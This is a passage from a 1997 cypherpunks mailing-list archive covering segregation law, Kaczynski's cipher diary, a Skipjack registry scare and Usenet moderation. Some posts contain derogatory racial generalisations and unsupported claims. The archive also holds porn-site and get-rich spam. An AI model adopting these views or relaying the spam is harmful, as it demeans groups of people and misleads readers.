offering the Crypto CD for $89.95 if ordered before the end of the year!

There are some pretty strict rules about mail order advertising of products
that don't exist. I wonder if the folks at ddj are aware of this.
Hopefully, the letter "the editors are preparing to explain the delay" will
appear on the web site soon.

Stephen
<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>
Certified Information Systems Security Professional
tel: 1.407.383.0977 fax: 0336 email scobb at miora.com






From bill.stewart at pobox.com  Fri Dec 26 15:34:07 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 27 Dec 1997 07:34:07 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <3.0.3.32.19971226151942.0072539c@popd.ix.netcom.com>




>>> Umm, no, freedom doesn't work like that.  If you open a *private*
>>> establishment, you have the right, according to the constitution, to 
>>> deny *anyone* the right to enter or eat in your restraunt.

I don't see freedom of association listed anywhere there;
you might construe it as a "taking" or something, but it'd be a stretch.
Also, there was a really appalling court case in the 1890s
(Plessey vs. Ferguson), in which the Supremes ruled that states
could require segregation with separate but equal accommodations;
it was somewhat overturned by Brown vs. Board of Education in 1954,
but the idea that the government can tell you how to run your business
is long established (after all, we'd need much smaller governments
if they couldn't be interfering in business.)

>>Tell that to Denney's restaurants. (No, not in the United Fascist
>>States of Amerika you can't.)

>Apologies.  In *theory* you have those rights, on *paper*, you have those
>rights, but in *practice*, you're correct, the Government has power that
>it gleefully abuses, forcing others to comply w/ political correctness.
>
>I'd like some more info on this Denny's thing.

A Denny's restaurant in Maryland had two groups of customers
show up one day, one group black, one group white, both about 6-8 people,
both arriving at the same time, both groups out-of-uniform cops.
The white people got served promptly, the blacks got served
extremely late and rudely.  And sued, and won.

(I was mainly surprised that the white cops got served fast;
my experience in Denny's has almost always been slow bad service,
except for one restaurant in Pennsylvania that hasn't learned
how to act like a real Denny's :-)
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From dlv at bwalk.dm.com  Fri Dec 26 16:53:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Dec 1997 08:53:59 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.3.32.19971226151942.0072539c@popd.ix.netcom.com>
Message-ID: 



Bill Stewart  writes:

> I don't see freedom of association listed anywhere there;
> you might construe it as a "taking" or something, but it'd be a stretch.
> Also, there was a really appalling court case in the 1890s
> (Plessey vs. Ferguson), in which the Supremes ruled that states
> could require segregation with separate but equal accommodations;
> it was somewhat overturned by Brown vs. Board of Education in 1954,
> but the idea that the government can tell you how to run your business
> is long established (after all, we'd need much smaller governments
> if they couldn't be interfering in business.)

When the southern states passes laws in late 19th/early 20th century
mandating separate accommodations for blacks (the infamous back of the
bus), the businesses running the buses, streetcars, et al were extremely
opposed to this segregation, and were extremely happy to get rid of it
with the feds' help in 1960s. (I can dig up some citations if pressed.)

It's a pity there was no good constitutional challenge at the time -
given the climate, the SC would have probably said that a state can't
order a private business to discriminate or not to discriminate.

> A Denny's restaurant in Maryland had two groups of customers
> show up one day, one group black, one group white, both about 6-8 people,
> both arriving at the same time, both groups out-of-uniform cops.
> The white people got served promptly, the blacks got served
> extremely late and rudely.  And sued, and won.

My recollection was that the folks accusing Denney's of "discrimination"
never won in court and shut up after Denney's made a large "donation" to
Jesse jackson's organization. I could be wrong. Still a "victory" in
court doesn't mean that the incident like the one you described is
statistically significant.

> (I was mainly surprised that the white cops got served fast;
> my experience in Denny's has almost always been slow bad service,
> except for one restaurant in Pennsylvania that hasn't learned
> how to act like a real Denny's :-)

At about that time I was doing a project in Kentucky, and went to
Denny's with a very black friend, and had decent food and service. So?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From eureka-help at eureka.abc-web.com  Fri Dec 26 17:58:41 1997
From: eureka-help at eureka.abc-web.com (eureka-help at eureka.abc-web.com)
Date: Sat, 27 Dec 1997 09:58:41 +0800
Subject: Successful Subscription
Message-ID: <883187480.5572.ezmlm@eureka.abc-web.com>



WELCOME TO EUREKA!
==================
Congratulations,  your free subscription to the Eureka!
newsletter is now set up. We hope you enjoy every copy.
As promised,  while you wait  for your first newsletter
here are the links to  the FREE videos and FREE photos!

BIENVENUE � EUREKA!
===================
F�licitations,  votre abonnement  libre �  l'Eureka! le
bulletin  est  maintenant install�.  Nous esp�rons  que
vous  appr�ciez chaque copie.  Comme promis,  alors que
vous attendez votre premier bulletin ici sont les liens
aux videos LIBRES et aux photos LIBRES!

WILLKOMMEN ZU EUREKA!
=====================
Gl�ckw�nsche,   Ihre  freie  Subskription  zum  Eureka!
Rundschreiben wird jetzt oben eingestellt.  Wir hoffen,
da� Sie jedes  Exemplar genie�en.  Wie, w�hrend Sie Ihr
erstes Rundschreiben hier warten, sind die Links zu den
FREIEN videos und zu den FREIEN Fotos versprochen! 

RECEPCI�N A EUREKA!
===================
Felicitaciones,  su  suscripci�n  libre  al  Eureka! el
bolet�n  de   noticias  ahora  se  fija   para  arriba.
Esperamos  que  usted  goce  de  cada  copia.  Seg�n lo
prometido,  mientras que usted espera su primer bolet�n
de noticias aqu� son las conexiones a los videos LIBRES
y a las fotos LIBRES!

=======================================================
FREE hardcore videos ........ http://www.slutorama.com/
FREE hardcore photos .... http://209.50.232.36/desires/
=======================================================






From rah at shipwright.com  Fri Dec 26 18:23:33 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 27 Dec 1997 10:23:33 +0800
Subject: Cryptographer examines Kaczynski's journal
Message-ID: 




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam at lists.espace.net using -f
X-Orig-From: William Knowles 
X-e$pam-source: bounce-dcsb at ai.mit.edu
X-Sender: rah at pop.sneaker.net
Mime-Version: 1.0
Date: Fri, 26 Dec 1997 20:09:27 -0500
To: espam at intertrader.com
From: Robert Hettinga 
Subject: Cryptographer examines Kaczynski's journal
Sender: owner-espam at lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

From: William Knowles 
To: "Perry's crypto list" , DC-Stuff 
cc: DCSB 
Subject: Cryptographer examines Kaczynski's journal
Organization: Home for retired social engineers & unrepented cryptophreaks
MIME-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: William Knowles 

SACRAMENTO, Calif. (AP) -- Driven by secrecy, Theodore Kaczynski
 kept a cryptic diary for two decades, substituting numbers and
 mathematical symbols for words and letters.

 Prosecutors say the Unabomber suspect's encoded journal is the
 cornerstone of their case against the mathematics professor-turned
 -forest recluse. They say it provides a remarkable, step-by-step
 view of years of wrongdoing -- in the defendant's own words. And
 they intend to have FBI cryptographer Michael Birch lay out his
 ``translation'' of the entire document to jurors.

 ``Although Mr. Birch's expertise is breaking codes, in this case the
 'key' to the defendant's code was found in the cabin,'' the government
 said in its trial strategy brief. ``Therefore, Mr. Birch's expertise
 will be directed to explaining to the jury how to apply the code to
 the defendant's coded writings and the admission into evidence of
 his completed translation.''

 Earlier, lead prosecutor Robert Cleary said the journal records
 are ``the backbone of the government's case.'' He said the diary
 describes in detail the 16 Unabomber attacks from 1978 to 1995
 that killed three people and injured 29.

 Kaczynski, 55, is charged with using bombs in four attacks: He is
 accused of killing a lobbyist and a computer store owner a decade
 apart in Sacramento, and maiming a geneticist and a computer
 professor with Sacramento-postmarked mail bombs in 1993.

 Opening statements in the trial are scheduled for Jan. 5. Kaczynski
 could get the death penalty if convicted. He is charged separately
 in New Jersey with the third fatality attributed to the Unabomber's
 18-year siege.

 Unlike the Unabomber manifesto, a 35,000-word treatise that depicts
 technology as an evil force, the coded diary was never intended to
 be seen by anyone else.

 The diary, written in pencil on several hundred pages of notepaper
 and several inches thick, includes details of experiments with
 explosives. It was among 20,000 documents seized from Kaczynski's
 tiny Montana shack.

 The diary contents have not been made public, although Birch's
 decoded version was given to the defense last year.

 Sources familiar with the journal describe it as a sophisticated
 jumble of numbers, an intricate enigma wrapped in a riddle befitting
 a Harvard-trained mathematician described by one prospective juror
 as a ``smart weirdo.''

 But code experts aren't so sure. They believe Kaczynski, who shunned
 computers and electronic devices in his cabin without electricity,
 may actually have cloaked the journal in a ``hand code'' that would
 have been relatively easy to break, even without the key.

 Such codes vary widely, but one basic variety resembles a checkerboard
 or grid, numbered on the sides, with each square filled randomly with
 a letter of the alphabet.

 The coded message is a string of numbers, which are the coordinates
 corresponding to the letters in the grid. To read the message, one
 needs to translate the numbers using the grid, or key. But typically,
 those numbers may be scrambled using a second code, and even a third,
 so that the final message is shrouded in layers of secrecy.

 Although such a numeric code looks daunting to the lay person, it is
 no more difficult to crack than the kind of basic substitution ciphers
 popular in pulp fiction or newspaper word games.

 ``You may have `A equals 1', and `B equals 2,' stuff like that in
 a numeric code with pencil and paper. Numbers look a little more
 mysterious and harder, like `39647181.' But it doesn't have anything
 to do with the complexity of the code. It's totally irrelevant,''
 said David Kahn, an editor at Long Island's Newsday and the author
 of ``The Code Breakers,'' a seminal work on classical cryptography.

 ``A checkerboard cipher with nothing else going on is no harder to
 crack than the simple substitution system used in a newspaper,''
 added James Gillogly, president of the American Cryptogram Assoc.
 He is an employee of the Westwood-based Mentat Inc., which develops
 security software.

 Ronald L. Rivest, a professor at the Massachusetts Institute of
 Technology and a founder of MIT's Cryptography and Information
 Security Group, agreed.

 ``When you are dealing in a situation where someone is working
 by hand with a code, and dealing with pencil and paper, it's not
 that difficult'' to decode, he said.


 ==
 The information standard is more draconian than the gold
 standard, because the government has lost control of the
 marketplace.
 ==
 http://www.dis.org/erehwon/



 For help on using this list (especially unsubscribing), send a message to
 "dcsb-request at ai.mit.edu" with one line of text: "help".


----------------------------------------------------------------------
Where people, networks and money come together:        Consult Hyperion
http://www.hyperion.co.uk/                          info at hyperion.co.uk
----------------------------------------------------------------------
Full-Strength Cryptographic Solutions for Worldwide Electronic Commerce
http://www.c2.net/                                    stronghold at c2.net
----------------------------------------------------------------------
Like e$? Help pay for it!
For e$/e$pam contributions or sponsorship:  
----------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From sysadmin at mfn.org  Fri Dec 26 18:49:32 1997
From: sysadmin at mfn.org (J.A. Terranson)
Date: Sat, 27 Dec 1997 10:49:32 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: <01BD123E.5965AD70@pdc.mfn.org>



-----BEGIN PGP SIGNED MESSAGE-----

Since I've had so many people either ask what s/w was installed on this box, 
or else claim that "J.A. must be on crack! :-)", here is the breakdown...

NT4.0; SP3; Every post SP3 hotfix through the third week of December; NT4.0 
Server Resource Kit; I.E. 3.02 with Java VM pkg installed; PGP 5.0 
Commercial; Adobe Photoshop 4.0 with a couple of special filter plugins; 
Adobe Illustrator 4.something, no addons; Adobe Premier with no addons; 
Micrographics Webtricity; Front Page 97 with assorted HotFixes; Outlook 97 
with assorted HotFixes; TCL/TK; J++; Java 1.something with SDK; WordPerfect 
Suite 7.something.  Obviously, this is on a Web Authoring station, so there 
is absolutely no reason for any of the above programs to be playing around 
with Skipjack...  Never the less...  I brought up a testbed system over the 
Xmas break, using the same install packages that I used to build the 
workstation in question.  No sign of ANY ciphers: Skipjack or anything else!  
Which makes sense.  The question now is just how in the h%@#& did it get here 
in the first place?  And why are my others ciphers explicitly disabled for 
SSL?  This is a really disturbing finding.  I am more concerned that Skipjack 
was *silently* installed than anything else: I have plans to completely 
reinstall all of the software from scratch on this particular box, and then 
enable full key ACL logging in an attempt to find out how it got there.

I am VERY concerned about this!  The ONLY way I can conceive of this machine 
having this configuration is if it was silently downloaded to the machine 
during a W3 session.  And it would NOT likely have been an SSL session: We do 
absolutely NO on-line transactions here. If Skipjack is being silently, I 
want to know by whom, and for what purpose.   OK, maybe I'm just paranoid, or 
smoking crack, but I spent several years in the late '80's working in COMSEC, 
and the scenario which first comes to mind is not too far-fetched (at least 
for me) to be believable...


It is most definitely an SSL 3 supported cipher but unless you have the
token or such,
then it is not going to be used for anything, and then only if you try to
connect 
to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
classified and available (at this time) only in hardware.  Don't sweat it,
it looks like it's just a hook or .....

What environment/flavor of stuff are you running?
I can help you with this if you want to contact me off the list.


At 11:45 AM 12/26/97 -0500, Ray Arachelian wrote:
>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)
>
>=====================================Kaos=Keraunos=Kybernetos==============
>.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
>..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
><--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
>../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
>.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
>======================= http://www.sundernet.com ==========================
>
>---------- Forwarded message ----------
>Date: Wed, 24 Dec 1997 01:29:07 -0600
>From: "J.A. Terranson" 
>To: 'NT Security Listserv' 
>Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I was rooting around in the registry tonight, (looking to repair my own 
>stupidity!),
>and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
>(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
>the
>"standard" ciphers (which I also found).
>
>Is anyone else aware of this?  Is it safe to delete the key (and code? 
>Hopefully
>this is DLL driven: I'm still looking!).
>
>Also, anyone know what it was put there for?  It's certainly not what I
would 
>
>consider an SSL issue!
>
>J.A. Terranson
>sysadmin at mfn.org
>A small fading light in a vast and obscure universe...
>
>PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
>PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                             0B0E C6C0 ED6B 1289 6749
>PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                             3081 A202 DDFD 4245
>If Government wants us to behave, it should set a better example!
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
>XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
>xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
>aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
>X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
>khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
>=jsvV
>-----END PGP SIGNATURE-----
>
>Attachment Converted: "F:\GDW\Mail\[NTSEC] SKIPJACK  NT4.0 (SP3)"


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKRqWaAMF5Wdhd8FAQEoawf+PlZlxSUBhsO1Pj37arRPt0YDIiCX0e5K
UzKIOyIk82Q3s2py5LQmqUv8hrqIY2NxTcn2DaNYm4yS2UOgKDfgfJbswmWdRlYZ
UHOt+ROiUn5P7qJqMThKHxE2EnQKhhtyiRJaUYgilGbgKCAAs/YYtP5uu7XOfd3l
u9TNmZwz6GCUv3+QrGXBi3g5+KQkzNZ/4cJLn+LYV5dGBzbGAsnSaAjQ+Kai0Xs9
tNTLZjM2wWvUDU7BNUYu/mHyY+ltiURgaqUSQpz9VV3y6SOlyh/Oef2JMtZtYkVc
K8EkebhEQNQ4uECxChyGYsmiuDmnt8yCYeX3moCcu+szHebQ/YyPeA==
=KIsG
-----END PGP SIGNATURE-----






From ravage at ssz.com  Fri Dec 26 19:02:00 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 27 Dec 1997 11:02:00 +0800
Subject: Kwanzaa hijacked by white businesses... [CNN]
Message-ID: <199712270322.VAA03217@einstein.ssz.com>



Forwarded message:

>           SOME RETAILERS SAY WHITE CORPORATIONS ARE HIJACKING KWANZAA
>                                        
>      graphic December 26, 1997
>      Web posted at: 9:53 p.m. EST (0253 GMT)
>      
>      WASHINGTON (CNN) -- As celebrations begin for Kwanzaa, the
>      30-year-old African-American holiday, some black business owners say
>      they worry the celebration, which emphasizes black self-reliance, is
>      being hijacked by white-owned corporations.
>      
>      "When this holiday came into existence, it was almost a
>      laughingstock," says Magaji Bukar, a gift shop owner. "And now that
>      (retailers) can make some money, now (they) want to be a part of
>      this. We're saying, 'No.'"
>      
>      "This is more than just money. This is culture," he said.
>      
>      Bukar is one of about 1,000 African-American business owners who
>      have launched a letter-writing campaign, demanding that large
>      companies -- including Hallmark Cards and Giant Foods -- stop
>      selling Kwanzaa-related items. They are urging African-Americans to
>      buy Kwanzaa supplies and goods only from black businesses.
>      
>      But not all African-Americans agree. For example, Pamela Rucker of
>      the National Retail Federation says merchants are simply responding
>      to the free market and showing respect for the holiday. Magaji Bukar
>      Magaji Bukar 
>      
>      "Retailers have a responsibility to serve their consumers, whether
>      African-American, Hispanic, Asian, whatever," she said. "If
>      consumers didn't tell us they wanted Kwanzaa-related products, or
>      other ethnic or culturally-related products, retailers wouldn't
>      stock them."

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Fri Dec 26 20:29:02 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sat, 27 Dec 1997 12:29:02 +0800
Subject: Kwanzaa hijacked by white businesses... [CNN]
In-Reply-To: <199712270322.VAA03217@einstein.ssz.com>
Message-ID: <199712270416.XAA24483@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712270322.VAA03217 at einstein.ssz.com>, on 12/26/97 
   at 09:22 PM, Jim Choate  said:

>Forwarded message:

>>           SOME RETAILERS SAY WHITE CORPORATIONS ARE HIJACKING KWANZAA
>>                                        
>>      graphic December 26, 1997
>>      Web posted at: 9:53 p.m. EST (0253 GMT)
>>      
>>      WASHINGTON (CNN) -- As celebrations begin for Kwanzaa, the
>>      30-year-old African-American holiday, some black business owners say
>>      they worry the celebration, which emphasizes black self-reliance, is
>>      being hijacked by white-owned corporations.
>>      
>>      "When this holiday came into existence, it was almost a
>>      laughingstock," says Magaji Bukar, a gift shop owner. "And now that
>>      (retailers) can make some money, now (they) want to be a part of
>>      this. We're saying, 'No.'"
>>      
>>      "This is more than just money. This is culture," he said.
>>      
>>      Bukar is one of about 1,000 African-American business owners who
>>      have launched a letter-writing campaign, demanding that large
>>      companies -- including Hallmark Cards and Giant Foods -- stop
>>      selling Kwanzaa-related items. They are urging African-Americans to
>>      buy Kwanzaa supplies and goods only from black businesses.
>>      
>>      But not all African-Americans agree. For example, Pamela Rucker of
>>      the National Retail Federation says merchants are simply responding
>>      to the free market and showing respect for the holiday. Magaji Bukar
>>      Magaji Bukar 
>>      
>>      "Retailers have a responsibility to serve their consumers, whether
>>      African-American, Hispanic, Asian, whatever," she said. "If
>>      consumers didn't tell us they wanted Kwanzaa-related products, or
>>      other ethnic or culturally-related products, retailers wouldn't
>>      stock them."


Ahhh Isn't Racism grand!!

I wonder what the Ministry of Propaganda, CNN Branch would have to say if
rather than Magaji Bukar this was David Duke demanding that Blacks stop
selling Christmas Items proclaiming it a "white" holiday and Verboten for
Black.

Oh I'm sorry, obPC: Black's can't be racists only the EAWM (Evil Angry
White Men).

Exactly what was the point of all this "Civil Rights" BS of the last 30yrs
if all that is acomplished is to replace one racism for another??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKSAP49Co1n+aLhhAQH+lAP9HB+oj0bZ1KrP3aIPsqv9Vhvnyp0IsHDR
YNWtzbHCb8XZaf6ICMnpnVDtYAgdfDlw6hQoubQJDE7YAokejthKYrAXohsjtUOI
i7KUvHaXgh1xpgyAyr0uia9FdnpCUZDA1nkzY3dLYI76V4RhCUtBu/9BEfh30eCH
rhaHhTGD9DE=
=8Ni2
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Fri Dec 26 21:06:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Dec 1997 13:06:02 +0800
Subject: Kwanzaa hijacked by white businesses... [CNN]
In-Reply-To: <199712270416.XAA24483@users.invweb.net>
Message-ID: 



"William H. Geiger III"  writes:
> >>      Bukar is one of about 1,000 African-American business owners who
> >>      have launched a letter-writing campaign, demanding that large
> >>      companies -- including Hallmark Cards and Giant Foods -- stop
> >>      selling Kwanzaa-related items. They are urging African-Americans to
> >>      buy Kwanzaa supplies and goods only from black businesses.
...
> I wonder what the Ministry of Propaganda, CNN Branch would have to say if
> rather than Magaji Bukar this was David Duke demanding that Blacks stop
> selling Christmas Items proclaiming it a "white" holiday and Verboten for
> Black.

Just as a side remark: why what standard are hallmark and giant foods "white"?
If they're like most big corporations, they probably bend over backwards to
promote blacks via "affirmative action" quotas, and have more blacks in
positions of responsibility than they possible could have if they based their
hiring decisions on merit. Evidently this is not good enough for racists
hatemongers like Jesse "Hymietown" Jackson and Louis Farrakhan.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From bill.stewart at pobox.com  Fri Dec 26 23:41:50 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 27 Dec 1997 15:41:50 +0800
Subject: BAY AREA CYPHERPUNKS MEETING 1/17/98 - Preliminary Schedule announcement
Message-ID: <3.0.3.32.19971226232557.006da068@popd.ix.netcom.com>



The January Bay Area Cypherpunks meeting will be on January 17th,
rather than the normal second Saturday, to accommodate the RSA conference
and W3C conference that will be in town that week.

The agenda is not set, but will include
- Export law presentation by Lee Tien, Greg Broiles, and maybe Cindy Cohn
- Secure DNS export
- Latest PGP / McAfee / Network Associates merger and related discussion
- More topics appreciated

Location will probably be PGP headquarters in San Mateo, but may
be another convenient Bay Area location.

A more detailed announcement will follow.

				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From guy at panix.com  Sat Dec 27 00:27:24 1997
From: guy at panix.com (Information Security)
Date: Sat, 27 Dec 1997 16:27:24 +0800
Subject: cypherpunks missing from Usenet
Message-ID: <199712270822.DAA12498@panix2.panix.com>



I know most of you don't use Usenet anymore...

Nevertheless, I'd appreciate any help.
---guy


#   From: guy+U2_Czars_suck at panix.com
#   Subject: Re: EFF Director calls for requiring digital signatures for Net access
#   Newsgroups: comp.org.cauce,comp.org.eff.talk
#   Followup-To: comp.org.cauce,comp.org.eff.talk
#   Organization: Information Security at NYC, Third Planet From the Sun

T. Max Devlin  wrote:
:   On 20 Dec 1997 05:28:35 -0500, Cipher  wrote:

:   >The CAUCE group is just getting started and *Digital Signatures* are
:   >mentioned in the same breath with anti-UCE techniques.  From knowing
:   >absolutely who everyone is to knowing absolutely what everyone is saying
:   >seems a logical progression.  I see the *Good users are known users*
:   >mentality as the leading edge of draconian restrictions on Usenet and
:   >e-mail that are in the works.

:   It is not a logical progression.

:   Nevertheless, civility (which is what we're trying to achieve)
:   requires a balance between individual "rights" of privacy and
:   public knowledge of who is saying what.

A "balance" between "privacy" and "public knowledge of who is saying what"???

Like the FBI wants a "balance" between the rights of people to use
cryptography and law enforcement concerns?

You are truly a nutcake.

    T. Max Devlin  wrote:

:   This extremist view that to be able to identify who is saying something is
:   automatically the same as censorship is getting more and more ludicrous.

The US Supreme Court disagrees with you regarding anonymous speech.

    T. Max Devlin  wrote:

:   Without rational examination of the issues, the ultimate solution will
:   inevitably be that the Internet is unusable for public discourse.

Imminent death of the Internet, film at 11.

An MIT study has shown civility is *unnatural* among heavy email users.

Even Russ Allbery will through out a "bullshit" and more now and then,
or do you want to argue about what "civility" means?

----

What does civility mean to Usenet II Czars?

It means deleting off-topic posts (which they've done), because they
are "abusive".

#   *   [usenet2] A New Virtual Community
#   *   From: Stephanie da Silva 
#   *   Reply-To: usenet2 at usenet.com
#   *   Date: Fri, 16 Jun 1995 03:12:04 -0500 (CDT)
#    
#   I'm somewhat disillusioned because two of my favorite newsgroups seem
#   to be plagued by a similar problem -- an increase in off-topic chatter.
#    
#   This has gone to the point on one of the groups
#   where some people have actually adopted an OFF-TOPIC keyword and use it
#   in subject headers.
#    
#   In a very recent discussion where I pointed out that this went against
#                                                        ^^^^ ^^^^ ^^^^^^^
#   the very foundation of Usenet and that off-topic threads were 100% noise,
#   ^^^ ^^^^ ^^^^^^^^^^ ^^ ^^^^^^
#   a user that has been posting less than a year and a half (from Netcom)
#   patiently explained to me how she felt the main appeal of the newsgroup
#   was its diverse nature and that she found the off-topic threads
#   "invigorating."
#    
#   So I guess my point is I wish there were some mechanism in place to
#   reinforce that newsgroups are focused discussion groups and not informal
#   chat rooms or coffee klatches.  People are not taking it to email the
#   way they tended to in the "good old days."
#    
#   I was just talking about this with someone in email.  She described an
#   incident that had happened on rec.arts.books.  Someone flamed (ironically
#   enough) Mike Godwin for posting off-topic.  She said Godwin's response
#           ^^^^ ^^^^^^ ^^^ ^^^^^^^ ^^^^^^^^^
#   was that rec.arts.books was not a place for talking about books per se,
#   but a place where 'bookish' people could get together and chat.
#   
#   That pretty much sums up the point I was trying to make.

What else? What have the U2 Czars controlling CAUCE also done?

Not allowed the admin of a one-way remailer who returned the required
token for posting to comp.org.cauce to post here; no explanation given
despite repeated requests.

That's not "civil", Max.

----

    T. Max Devlin  wrote:

:   Authentication is a required capability of any multi-user communications system.

Apparently you have never heard of pay-phones, 900 re-dial services, etc.

:   The question is not whether we can get away without it (in the long run, I fear,
:   we cannot).  The question is how we can implement it in a rational fashion that
:   isn't too slanted one way or the other between personal and public desires.

The question is: how can control-freaks like you
be beaten to a bloody pul^W^W^W^W back?

---guy






From M0RTGMAN at hotmail.com  Sat Dec 27 18:49:46 1997
From: M0RTGMAN at hotmail.com (M0RTGMAN at hotmail.com)
Date: Sat, 27 Dec 1997 18:49:46 -0800 (PST)
Subject: $215 Billion Electricity Industry Deregulates Jan "98
Message-ID: <>




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*** ELECTRICITY DEREGULATION ***
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   IT'S REAL AND COMING IN JANUARY!!! 
THIS IS THE BUSINESS OPPORTUNITY OF THE CENTURY!!! 
Grab your share of this $215 Billion Dollar Industry!!
What does this mean!

* You can sell Electricity at up to 40% lower rates
  than Major Utilities!
* Cut your own electric bill 10-40%!
* Make money on the electricity others use whenever 
  someone turns on a light!

The time is NOW!!  YOU could be one of the first in 
your state or country to sieze this amazing opportunity!
Don't wait another minute!    

This will be the opportunity of 1998!!  It is 3 times as
big as the telecommunications industry was when it 
deregulated!

For more information, send and email to 
de.regulation at pemail.net please put electric in subject

To be removed from you list, please send email to
de.regulation at pemail.net please put remove in subject

We look forward to working with you!





From M0RTGMAN at hotmail.com  Sat Dec 27 18:49:46 1997
From: M0RTGMAN at hotmail.com (M0RTGMAN at hotmail.com)
Date: Sat, 27 Dec 1997 18:49:46 -0800 (PST)
Subject: $215 Billion Electricity Industry Deregulates Jan "98
Message-ID: <>




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*** ELECTRICITY DEREGULATION ***
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   IT'S REAL AND COMING IN JANUARY!!! 
THIS IS THE BUSINESS OPPORTUNITY OF THE CENTURY!!! 
Grab your share of this $215 Billion Dollar Industry!!
What does this mean!

* You can sell Electricity at up to 40% lower rates
  than Major Utilities!
* Cut your own electric bill 10-40%!
* Make money on the electricity others use whenever 
  someone turns on a light!

The time is NOW!!  YOU could be one of the first in 
your state or country to sieze this amazing opportunity!
Don't wait another minute!    

This will be the opportunity of 1998!!  It is 3 times as
big as the telecommunications industry was when it 
deregulated!

For more information, send and email to 
de.regulation at pemail.net please put electric in subject

To be removed from you list, please send email to
de.regulation at pemail.net please put remove in subject

We look forward to working with you!





From nobody at REPLAY.COM  Sat Dec 27 09:54:12 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 28 Dec 1997 01:54:12 +0800
Subject: cypherpunks missing from Usenet
